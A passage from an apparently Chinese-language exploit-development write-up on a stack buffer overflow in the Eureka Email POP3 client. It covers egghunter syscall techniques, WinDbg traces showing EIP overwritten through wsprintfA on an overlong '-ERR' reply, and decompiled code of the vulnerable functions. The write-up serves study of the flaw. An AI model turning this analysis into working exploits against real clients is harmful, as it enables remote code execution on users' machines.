<li>原理:使用系统调用<a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FError%2FNtDisplayString.html">NtDisplayString</a>来判断某page是否可以访问,<code class="language-plaintext highlighter-rouge">scasd</code>比较两次egg跳转edi执行。(Windows系统调用传参方式和Linux略有不同)</li>
<li>优点:又短又快。</li>
<li>缺点:NtDisplayString的系统调用号0x43在未来的操作系统上可能会改变。</li>
</ol>
<p>NtAccessCheckAndAuditAlarm的原理同上。</p>
<h1>0x02 漏洞原理</h1>
<p>简单写个python脚本监听本地192.168.56.1的110端口,并不断地发送数据。Windbg attach Eureka_Email进程接收数据后发现eip被直接覆盖为AAAA,看来是一个不存在GS的缓冲区溢出,可以直接覆盖eip。</p>
<p>老套路直接在对应栈地址下硬件断点,可以大致追溯函数调用流程:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:001> ba w1 0012ce14
0:001> bl
0 e 0012ce14 w 1 0001 (0001) 0:****
0:001> g
ModLoad: 6c880000 6c8bc000 C:\Windows\system32\mswsock.dll
ModLoad: 3fd20000 3fd25000 C:\Windows\System32\wshtcpip.dll
Breakpoint 0 hit
eax=000007f7 ebx=0000000a ecx=0012d850 edx=00000041 esi=0012ce14 edi=00000000
eip=77d240a5 esp=0012c998 ebp=0012c9e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
USER32!wvsprintfA+0x2fb:
77d240a5 46 inc esi
0:000> kv
ChildEBP RetAddr Args to Child
0012c9e0 77d23f5b 0012ca1c 0045f054 0012ca04 USER32!wvsprintfA+0x2fb (FPO: [Non-Fpo])
*** WARNING: Unable to verify checksum for C:\Program Files\Eureka Email\Eureka Email.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Eureka Email\Eureka Email.exe
0012c9f4 0043bdf4 0012ca1c 0045f054 014948d8 USER32!wsprintfA+0x14 (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ca00 014948d8 0012d490 00473678 00475bf8 Eureka_Email+0x3bdf4
0012ca04 0012d490 00473678 00475bf8 00475bfc 0x14948d8
0012ca08 00473678 00475bf8 00475bfc 000601cc 0x12d490
0012d490 41414120 41414141 41414141 41414141 Eureka_Email+0x73678
... ...
</code></pre></div></div>
<p>由此可以定位在<code class="language-plaintext highlighter-rouge">sub_43B680</code>函数中调用了危险函数<code class="language-plaintext highlighter-rouge">wsprintfA</code>产生的缓冲区溢出:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="kr">__cdecl</span> <span class="nf">sub_43B680</span><span class="p">(</span><span class="n">HWND</span> <span class="n">hWnd</span><span class="p">,</span> <span class="n">HINSTANCE</span> <span class="n">hInstance</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">NumberOfBytesWritten</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a5</span><span class="p">,</span> <span class="n">LPCVOID</span> <span class="n">a6</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a7</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a8</span><span class="p">,</span> <span class="n">LPCVOID</span> <span class="n">a9</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a10</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a11</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a12</span><span class="p">,</span> <span class="n">LPCVOID</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="n">LPCVOID</span> <span class="n">a14</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a15</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a16</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// al@2</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">v17</span><span class="p">)(</span><span class="n">LPSTR</span><span class="p">,</span> <span class="n">LPCSTR</span><span class="p">,</span> <span class="p">...);</span> <span class="c1">// esi@11</span>
<span class="n">LPCVOID</span> <span class="n">v18</span><span class="p">;</span> <span class="c1">// ST4C_4@27</span>
<span class="kt">int</span> <span class="n">v19</span><span class="p">;</span> <span class="c1">// edx@46</span>
<span class="n">CHAR</span> <span class="n">Text</span><span class="p">;</span> <span class="c1">// [sp+10h] [bp-304h]@6</span>
<span class="n">CHAR</span> <span class="n">FileName</span><span class="p">;</span> <span class="c1">// [sp+210h] [bp-104h]@11</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">dword_47DF50</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">result</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">NumberOfBytesWritten</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">NumberOfBytesWritten</span> <span class="o">!=</span> <span class="sc">'+'</span>
<span class="o">||</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">NumberOfBytesWritten</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="sc">'O'</span>
<span class="o">||</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">NumberOfBytesWritten</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">!=</span> <span class="sc">'K'</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">result</span> <span class="o">==</span> <span class="sc">'-'</span> <span class="o">&&</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">NumberOfBytesWritten</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="sc">'E'</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">result</span> <span class="o">=</span> <span class="sc">'R'</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">NumberOfBytesWritten</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">==</span> <span class="sc">'R'</span> <span class="o">&&</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">NumberOfBytesWritten</span> <span class="o">+</span> <span class="mi">3</span><span class="p">)</span> <span class="o">==</span> <span class="sc">'R'</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">dword_47DF64</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">wsprintfA</span><span class="p">(</span><span class="o">&</span><span class="n">Text</span><span class="p">,</span> <span class="n">aQuit</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">Text</span><span class="p">,</span> <span class="n">asc_45F038</span><span class="p">);</span>
<span class="n">sub_446490</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">a3</span><span class="p">,</span> <span class="o">&</span><span class="n">Text</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="o">&</span><span class="n">Text</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">dword_47DF64</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">sub_43B5F0</span><span class="p">(</span><span class="n">hWnd</span><span class="p">,</span> <span class="n">a3</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">dword_47DF54</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">dword_47DF54</span> <span class="o">||</span> <span class="n">dword_47DF54</span> <span class="o">&</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">wsprintfA</span><span class="p">(</span><span class="o">&</span><span class="n">Text</span><span class="p">,</span> <span class="n">aYourPop3Server</span><span class="p">,</span> <span class="n">a11</span> <span class="o">+</span> <span class="mi">72</span><span class="p">,</span> <span class="n">NumberOfBytesWritten</span><span class="p">);</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">MessageBoxA</span><span class="p">(</span><span class="n">hWnd</span><span class="p">,</span> <span class="o">&</span><span class="n">Text</span><span class="p">,</span> <span class="n">String2</span><span class="p">,</span> <span class="mh">0x30u</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>根据代码逻辑可以看出,邮件客户端是接收到”-ERR”的响应后直接把后续的报错内容格式化输出至栈上的空间,没有对长度进行限制产生了溢出。其父函数<code class="language-plaintext highlighter-rouge">sub_41AB00</code>反汇编代码估计有4585行,感兴趣的同学可以深究一下。</p>
<p>紧接着可以在函数<code class="language-plaintext highlighter-rouge">sub_43B680</code>返回处<code class="language-plaintext highlighter-rouge">0043BE1B</code>下断点,可以看到返回地址已经被覆盖:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> bp 0043BDF4
0:000> bl
0 e 0012ce14 w 1 0001 (0001) 0:****
1 e 0043bdf4 0001 (0001) 0:**** Eureka_Email+0x3bdf4
0:000> g
Breakpoint 1 hit
eax=00000400 ebx=0012d490 ecx=5e91fc90 edx=00000041 esi=00475bf8 edi=00473678
eip=0043bdf4 esp=0012c9fc ebp=77d23f47 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Eureka_Email+0x3bdf4:
0043bdf4 8b942428030000 mov edx,dword ptr [esp+328h] ss:0023:0012cd24=41414141
0:000> bp 0043BE1B
0:000> g
Breakpoint 2 hit
eax=00000000 ebx=000601cc ecx=0000003c edx=0000003b esi=00475bf8 edi=00473678
eip=0043be1b esp=0012cd20 ebp=00475bfc iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Eureka_Email+0x3be1b:
0043be1b c3 ret
0:000> db esp
0012cd20 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012cd30 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012cd40 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012cd50 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012cd60 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012cd70 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012cd80 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012cd90 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
</code></pre></div></div>
<p>也可以从头来过,直接在危险函数调用处<code class="language-plaintext highlighter-rouge">0043BDF2</code>下断点,观察溢出前后的栈空间情况:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:001> bp 0043BDF2
*** WARNING: Unable to verify checksum for C:\Program Files\Eureka Email\Eureka Email.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Eureka Email\Eureka Email.exe
0:001> g
ModLoad: 6c880000 6c8bc000 C:\Windows\system32\mswsock.dll
ModLoad: 3fd20000 3fd25000 C:\Windows\System32\wshtcpip.dll
Breakpoint 0 hit
eax=0012ca1c ebx=0012d490 ecx=0012c9b8 edx=014d48d8 esi=00475bf8 edi=00473678
eip=0043bdf2 esp=0012c9fc ebp=77d23f47 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Eureka_Email+0x3bdf2:
0043bdf2 ffd5 call ebp {USER32!wsprintfA (77d23f47)}
0:000> dd esp L4
0012c9fc 0012ca1c 0045f054 014d48d8 0012d490
0:000> ds esp+8
0012d490 "-ERR AAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d4b0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d4d0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d4f0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d510 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d530 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d550 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d570 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d590 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d5b0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d5d0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d5f0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d610 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d630 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d650 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d670 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d690 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d6b0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d6d0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d6f0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d710 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d730 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d750 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d770 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d790 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d7b0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d7d0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d7f0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d810 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d830 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d850 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d870 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d890 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d8b0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d8d0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d8f0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d910 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d930 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d950 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d970 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d990 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d9b0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d9d0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012d9f0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012da10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012da30 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012da50 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012da70 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012da90 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dab0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dad0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012daf0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012db10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012db30 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012db50 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012db70 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012db90 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dbb0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dbd0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dbf0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dc10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dc30 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dc50 "AAAAAAAAAAAAAAAAAAAAA-ERR AAAAAA"
0012dc70 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dc90 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dcb0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dcd0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dcf0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dd10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dd30 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dd50 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dd70 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dd90 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ddb0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ddd0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ddf0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012de10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012de30 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012de50 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012de70 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012de90 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012deb0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ded0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012def0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012df10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012df30 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012df50 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012df70 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012df90 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dfb0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dfd0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012dff0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012e010 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012e030 "AAAAAAAAAAAAAAAAAAAAAAAA"
0:000> ds esp+4
014d48d8 "192.168.56.1"
0:000> ds esp
0045f054 "Your POP3 server had a problem.."
0045f074 "%s said:.. %s"
0:000> ds esp-4
0012ca1c ".!#"
0:000> !exchain
0012faa0: USER32!_except_handler4+0 (77d7629b)
CRT scope 0, func: USER32!UserCallWinProcCheckWow+150 (77d4a435)
0012fb00: USER32!_except_handler4+0 (77d7629b)
CRT scope 0, filter: USER32!DispatchMessageWorker+146 (77d4b405)
func: USER32!DispatchMessageWorker+159 (77d4b418)
0012ff78: Eureka_Email+52eb8 (00452eb8)
0012ffc4: ntdll!_except_handler4+0 (77ede0ed)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+2e (77f37eeb)
func: ntdll!__RtlUserThreadStart+63 (77f38260)
Invalid exception stack at ffffffff
0:000> p
eax=00000400 ebx=0012d490 ecx=29a5c1d8 edx=00000041 esi=00475bf8 edi=00473678
eip=0043bdf4 esp=0012c9fc ebp=77d23f47 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Eureka_Email+0x3bdf4:
0043bdf4 8b942428030000 mov edx,dword ptr [esp+328h] ss:0023:0012cd24=41414141
0:000> dd esp L4
0012c9fc 0012ca1c 0045f054 014d48d8 0012d490
0:000> ds esp-4
0012ca1c "Your POP3 server had a problem.."
0012ca3c "192.168.56.1 said:.. -ERR AAA"
0012ca5c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ca7c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ca9c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cabc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cadc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cafc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cb1c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cb3c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cb5c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cb7c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cb9c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cbbc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cbdc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cbfc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cc1c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cc3c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cc5c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cc7c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cc9c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ccbc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ccdc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ccfc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cd1c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cd3c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cd5c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cd7c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cd9c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cdbc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cddc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012cdfc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012ce1c ""
</code></pre></div></div>
<p>细心的同学可能发现了,这里字符串格式化前后长度有所截断,也就是限制为1024个字节了(还是能够覆盖到返回地址),深究原因可以看到<a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-wsprintfa">wsprintfA文档</a>最后有一句提到了目标缓冲区的长度限制:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>To use buffers larger than 1024 bytes, use _snwprintf. For more information, see the documentation for the C run-time library.
</code></pre></div></div>
<p>这虽然解释了原文中长度截断的问题,但能在data段发现payload还是需要逆向深究一下的。通过直接逆向函数<code class="language-plaintext highlighter-rouge">sub_41AB00</code>的上下文或者查找<code class="language-plaintext highlighter-rouge">recv</code>函数的交叉引用,可以定位在函数<code class="language-plaintext highlighter-rouge">sub_446440</code>中完成对数据的接收:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">sub_446440</span><span class="p">(</span><span class="n">SOCKET</span> <span class="n">s</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// eax@1</span>
<span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// esi@1</span>
<span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// eax@2</span>
<span class="n">v3</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span>
<span class="n">v4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">len</span> <span class="o">></span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v5</span> <span class="o">=</span> <span class="n">recv</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">v4</span> <span class="o">+</span> <span class="n">a2</span><span class="p">),</span> <span class="n">v3</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v5</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v5</span> <span class="p">)</span>
<span class="k">return</span> <span class="n">v4</span><span class="p">;</span>
<span class="n">v4</span> <span class="o">+=</span> <span class="n">v5</span><span class="p">;</span>
<span class="n">v3</span> <span class="o">=</span> <span class="n">len</span> <span class="o">-</span> <span class="n">v4</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">len</span> <span class="o">-</span> <span class="n">v4</span> <span class="o"><=</span> <span class="mi">0</span> <span class="p">)</span>
<span class="k">return</span> <span class="n">v4</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">WSAGetLastError</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">v4</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>继续跟踪其父函数<code class="language-plaintext highlighter-rouge">sub_41AB00</code>上下文逻辑(4318~4410行),看出其会一次性从服务端接收9600字节的数据,然后截短为3000字节长度的数据传递给漏洞函数<code class="language-plaintext highlighter-rouge">sub_43B680</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="n">lParam</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v309</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">String</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">v310</span> <span class="o">=</span> <span class="n">v309</span><span class="p">;</span>
<span class="n">v309</span> <span class="o">>>=</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">qmemcpy</span><span class="p">(</span><span class="n">Text</span><span class="p">,</span> <span class="n">String</span><span class="p">,</span> <span class="mi">4</span> <span class="o">*</span> <span class="n">v309</span><span class="p">);</span>
<span class="n">v312</span> <span class="o">=</span> <span class="o">&</span><span class="n">String</span><span class="p">[</span><span class="mi">4</span> <span class="o">*</span> <span class="n">v309</span><span class="p">];</span>
<span class="n">v311</span> <span class="o">=</span> <span class="o">&</span><span class="n">Text</span><span class="p">[</span><span class="mi">4</span> <span class="o">*</span> <span class="n">v309</span><span class="p">];</span>
<span class="n">LOBYTE</span><span class="p">(</span><span class="n">v309</span><span class="p">)</span> <span class="o">=</span> <span class="n">v310</span><span class="p">;</span>
<span class="n">v313</span> <span class="o">=</span> <span class="n">dword_459BF4</span><span class="p">;</span>
<span class="n">qmemcpy</span><span class="p">(</span><span class="n">v311</span><span class="p">,</span> <span class="n">v312</span><span class="p">,</span> <span class="n">v309</span> <span class="o">&</span> <span class="mi">3</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">wParam</span> <span class="o">==</span> <span class="n">v313</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v314</span> <span class="o">=</span> <span class="n">byte_4710F0</span><span class="p">;</span>
<span class="n">v315</span> <span class="o">=</span> <span class="o">&</span><span class="n">dword_473674</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
